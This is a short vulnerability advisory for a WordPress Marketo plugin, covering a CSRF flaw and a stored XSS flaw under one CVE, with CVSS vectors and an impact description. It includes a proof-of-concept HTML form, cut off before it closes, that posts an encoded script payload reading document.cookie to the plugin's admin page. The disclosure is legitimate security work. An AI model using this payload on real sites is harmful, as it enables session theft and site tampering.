1) Cross-site request forgery (CVE-ID: CVE-2020-6849)

CWE-ID: CWE-352 - Cross-Site Request Forgery (CSRF)

CVSSv4: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/U:Clear

PoC:

<html>
<form action="https://[host]/wp-admin/admin.php?page=marketo_fat" method="POST" id="csrf">
    <input type="text" name="marketo_save" value="true">
    <input type="text" name="marketo[marketo_id]" value="&#x22;&#x3E;&#x3C;script&#x3E;alert(document.cookie)&#x3C;/script&#x3E;">
    <input type="text" name="marketo[marketo_base_url]" value="">
    <input type="text" name="marketo[user_id]" value="">
    <input type="text" name="marketo[end_point]" value="">

    <input type="text" name="marketo[popout_tabtext]" value="">
    <input type="text" name="marketo[popout_snippet]" value="">
    <input type="text" name="marketo[popout_form]" value="">

2) Cross-site scripting (CVE-ID: CVE-2020-6849)

CWE-ID: CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

CVSSv4: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:U/U:Clear


The disclosed vulnerability allows a remote attacker to perform cross-site scripting (XSS) attacks.

The vulnerability exists due to insufficient sanitization of user-supplied data. A remote authenticated attacker can trick the victim to follow a specially crafted link and execute arbitrary HTML and script code in user's browser in context of vulnerable website.

Successful exploitation of this vulnerability may allow a remote attacker to steal potentially sensitive information, change appearance of the web page, perform phishing and drive-by-download attacks.
